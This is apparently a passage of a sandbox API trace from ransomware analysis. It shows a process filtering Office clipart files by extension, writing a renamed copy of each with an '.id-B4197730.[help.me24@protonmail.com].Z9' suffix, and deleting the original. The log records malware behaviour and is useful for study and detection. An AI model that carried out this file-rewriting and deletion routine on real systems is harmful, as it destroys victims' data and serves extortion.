	[0193.281] lstrlenW (lpString=".doc") returned 4
	[0193.281] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0193.281] lstrlenW (lpString=".docx") returned 5
	[0193.281] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0193.281] lstrlenW (lpString=".pdf") returned 4
	[0193.281] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0193.281] lstrlenW (lpString=".xls") returned 4
	[0193.281] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0193.281] lstrlenW (lpString=".xlsx") returned 5
	[0193.281] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0193.281] lstrlenW (lpString=".ppt") returned 4
	[0193.281] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0193.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68
	[0193.281] lstrlenW (lpString=".zip") returned 4
	[0193.281] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0193.281] lstrlenW (lpString=".rar") returned 4
	[0193.281] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0193.281] lstrlenW (lpString=".bz2") returned 4
	[0193.281] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0193.281] lstrlenW (lpString=".7z") returned 3
	[0193.281] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0193.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68
	[0193.282] lstrlenW (lpString=".dbf") returned 4
	[0193.282] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0193.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68
	[0193.282] lstrlenW (lpString=".1cd") returned 4
	[0193.282] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0193.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68
	[0193.282] lstrlenW (lpString=".jpg") returned 4
	[0193.282] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0193.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68
	[0193.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68
	[0193.282] lstrlenW (lpString=".doc") returned 4
	[0193.282] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0193.282] lstrlenW (lpString=".docx") returned 5
	[0193.282] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0193.282] lstrlenW (lpString=".pdf") returned 4
	[0193.282] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0193.282] lstrlenW (lpString=".xls") returned 4
	[0193.282] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0193.282] lstrlenW (lpString=".xlsx") returned 5
	[0193.282] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0193.282] lstrlenW (lpString=".ppt") returned 4
	[0193.282] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0193.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68
	[0193.282] lstrlenW (lpString=".zip") returned 4
	[0193.282] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0193.282] lstrlenW (lpString=".rar") returned 4
	[0193.282] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0193.282] lstrlenW (lpString=".bz2") returned 4
	[0193.282] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0193.282] lstrlenW (lpString=".7z") returned 3
	[0193.282] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0193.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68
	[0193.282] lstrlenW (lpString=".dbf") returned 4
	[0193.282] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0193.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68
	[0193.282] lstrlenW (lpString=".1cd") returned 4
	[0193.283] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0193.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68
	[0193.283] lstrlenW (lpString=".jpg") returned 4
	[0193.283] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0193.283] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0193.283] lstrlenW (lpString="J0099178.WMF") returned 12
	[0193.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0193.283] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=3606) returned 1
	[0193.283] CloseHandle (hObject=0x374) returned 1
	[0193.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf")) returned 0x220
	[0193.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0193.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0193.283] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.284] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0193.284] GetLastError () returned 0x0
	[0193.284] ReadFile (in: hFile=0x374, lpBuffer=0x35f3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x35f3020*, lpNumberOfBytesRead=0x2aafecc*=0xe16, lpOverlapped=0x0) returned 1
	[0193.285] WriteFile (in: hFile=0x344, lpBuffer=0x35f3020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x35f3020*, lpNumberOfBytesWritten=0x2aafc94*=0xe20, lpOverlapped=0x0) returned 1
	[0193.287] ReadFile (in: hFile=0x374, lpBuffer=0x35f3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x35f3020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1
	[0193.287] WriteFile (in: hFile=0x344, lpBuffer=0x35f3020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x35f3020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1
	[0193.287] SetEndOfFile (hFile=0x344) returned 1
	[0193.287] CloseHandle (hObject=0x344) returned 1
	[0193.287] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.287] SetEndOfFile (hFile=0x374) returned 1
	[0193.288] CloseHandle (hObject=0x374) returned 1
	[0193.288] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0193.288] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf")) returned 1
	[0193.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68
	[0193.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68
	[0193.289] lstrlenW (lpString=".doc") returned 4
	[0193.289] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0193.289] lstrlenW (lpString=".docx") returned 5
	[0193.289] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0193.289] lstrlenW (lpString=".pdf") returned 4
	[0193.289] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0193.289] lstrlenW (lpString=".xls") returned 4
	[0193.289] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0193.289] lstrlenW (lpString=".xlsx") returned 5
	[0193.289] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0193.289] lstrlenW (lpString=".ppt") returned 4
	[0193.289] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0193.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68
	[0193.289] lstrlenW (lpString=".zip") returned 4
	[0193.289] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0193.289] lstrlenW (lpString=".rar") returned 4
	[0193.289] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0193.289] lstrlenW (lpString=".bz2") returned 4
	[0193.289] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0193.289] lstrlenW (lpString=".7z") returned 3
	[0193.289] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0193.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68
	[0193.289] lstrlenW (lpString=".dbf") returned 4
	[0193.289] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0193.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68
	[0193.289] lstrlenW (lpString=".1cd") returned 4
	[0193.289] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0193.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68
	[0193.289] lstrlenW (lpString=".jpg") returned 4
	[0193.289] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0193.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68
	[0193.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68
	[0193.289] lstrlenW (lpString=".doc") returned 4
	[0193.290] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0193.290] lstrlenW (lpString=".docx") returned 5
	[0193.290] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0193.290] lstrlenW (lpString=".pdf") returned 4
	[0193.290] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0193.290] lstrlenW (lpString=".xls") returned 4
	[0193.290] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0193.290] lstrlenW (lpString=".xlsx") returned 5
	[0193.290] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0193.290] lstrlenW (lpString=".ppt") returned 4
	[0193.290] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0193.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68
	[0193.290] lstrlenW (lpString=".zip") returned 4
	[0193.290] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0193.290] lstrlenW (lpString=".rar") returned 4
	[0193.290] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0193.290] lstrlenW (lpString=".bz2") returned 4
	[0193.290] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0193.290] lstrlenW (lpString=".7z") returned 3
	[0193.290] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0193.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68
	[0193.290] lstrlenW (lpString=".dbf") returned 4
	[0193.290] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0193.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68
	[0193.290] lstrlenW (lpString=".1cd") returned 4
	[0193.290] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0193.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68
	[0193.290] lstrlenW (lpString=".jpg") returned 4
	[0193.290] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0193.290] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0193.290] lstrlenW (lpString="J0099179.WMF") returned 12
	[0193.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0193.291] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=9154) returned 1
	[0193.291] CloseHandle (hObject=0x374) returned 1
	[0193.291] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf")) returned 0x220
	[0193.291] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0193.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0193.291] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.291] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0193.292] GetLastError () returned 0x0
	[0193.292] ReadFile (in: hFile=0x374, lpBuffer=0x35f3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x35f3020*, lpNumberOfBytesRead=0x2aafecc*=0x23c2, lpOverlapped=0x0) returned 1
	[0193.293] WriteFile (in: hFile=0x344, lpBuffer=0x35f3020*, nNumberOfBytesToWrite=0x23d0, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x35f3020*, lpNumberOfBytesWritten=0x2aafc94*=0x23d0, lpOverlapped=0x0) returned 1
	[0193.294] ReadFile (in: hFile=0x374, lpBuffer=0x35f3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x35f3020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1
	[0193.294] WriteFile (in: hFile=0x344, lpBuffer=0x35f3020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x35f3020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1
	[0193.294] SetEndOfFile (hFile=0x344) returned 1
	[0193.294] CloseHandle (hObject=0x344) returned 1
	[0193.294] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.295] SetEndOfFile (hFile=0x374) returned 1
	[0193.295] CloseHandle (hObject=0x374) returned 1
	[0193.295] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0193.296] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf")) returned 1
	[0193.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68
	[0193.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68
	[0193.296] lstrlenW (lpString=".doc") returned 4
	[0193.296] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0193.296] lstrlenW (lpString=".docx") returned 5
	[0193.296] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0193.296] lstrlenW (lpString=".pdf") returned 4
	[0193.296] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0193.296] lstrlenW (lpString=".xls") returned 4
	[0193.296] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0193.296] lstrlenW (lpString=".xlsx") returned 5
	[0193.296] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0193.296] lstrlenW (lpString=".ppt") returned 4
	[0193.296] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0193.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68
	[0193.296] lstrlenW (lpString=".zip") returned 4
	[0193.296] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0193.297] lstrlenW (lpString=".rar") returned 4
	[0193.297] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0193.297] lstrlenW (lpString=".bz2") returned 4
	[0193.297] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0193.297] lstrlenW (lpString=".7z") returned 3
	[0193.297] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0193.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68
	[0193.297] lstrlenW (lpString=".dbf") returned 4
	[0193.297] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0193.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68
	[0193.297] lstrlenW (lpString=".1cd") returned 4
	[0193.297] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0193.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68
	[0193.297] lstrlenW (lpString=".jpg") returned 4
	[0193.297] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0193.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68
	[0193.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68
	[0193.297] lstrlenW (lpString=".doc") returned 4
	[0193.297] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0193.297] lstrlenW (lpString=".docx") returned 5
	[0193.297] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0193.297] lstrlenW (lpString=".pdf") returned 4
	[0193.297] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0193.297] lstrlenW (lpString=".xls") returned 4
	[0193.297] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0193.297] lstrlenW (lpString=".xlsx") returned 5
	[0193.297] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0193.297] lstrlenW (lpString=".ppt") returned 4
	[0193.297] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0193.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68
	[0193.297] lstrlenW (lpString=".zip") returned 4
	[0193.297] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0193.297] lstrlenW (lpString=".rar") returned 4
	[0193.297] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0193.297] lstrlenW (lpString=".bz2") returned 4
	[0193.297] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0193.297] lstrlenW (lpString=".7z") returned 3
	[0193.298] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0193.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68
	[0193.298] lstrlenW (lpString=".dbf") returned 4
	[0193.298] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0193.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68
	[0193.298] lstrlenW (lpString=".1cd") returned 4
	[0193.298] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0193.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68
	[0193.298] lstrlenW (lpString=".jpg") returned 4
	[0193.298] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0193.298] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0193.298] lstrlenW (lpString="J0099180.WMF") returned 12
	[0193.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0193.298] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=3394) returned 1
	[0193.298] CloseHandle (hObject=0x374) returned 1
	[0193.298] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf")) returned 0x220
	[0193.298] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0193.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0193.299] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.299] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0193.299] GetLastError () returned 0x0
	[0193.299] ReadFile (in: hFile=0x374, lpBuffer=0x35f3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x35f3020*, lpNumberOfBytesRead=0x2aafecc*=0xd42, lpOverlapped=0x0) returned 1
	[0193.301] WriteFile (in: hFile=0x344, lpBuffer=0x35f3020*, nNumberOfBytesToWrite=0xd50, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x35f3020*, lpNumberOfBytesWritten=0x2aafc94*=0xd50, lpOverlapped=0x0) returned 1
	[0193.302] ReadFile (in: hFile=0x374, lpBuffer=0x35f3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x35f3020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1
	[0193.302] WriteFile (in: hFile=0x344, lpBuffer=0x35f3020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x35f3020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1
	[0193.302] SetEndOfFile (hFile=0x344) returned 1
	[0193.302] CloseHandle (hObject=0x344) returned 1
	[0193.302] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.302] SetEndOfFile (hFile=0x374) returned 1
	[0193.303] CloseHandle (hObject=0x374) returned 1
	[0193.303] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0193.303] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf")) returned 1
	[0193.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68
	[0193.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68
	[0193.304] lstrlenW (lpString=".doc") returned 4
	[0193.304] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
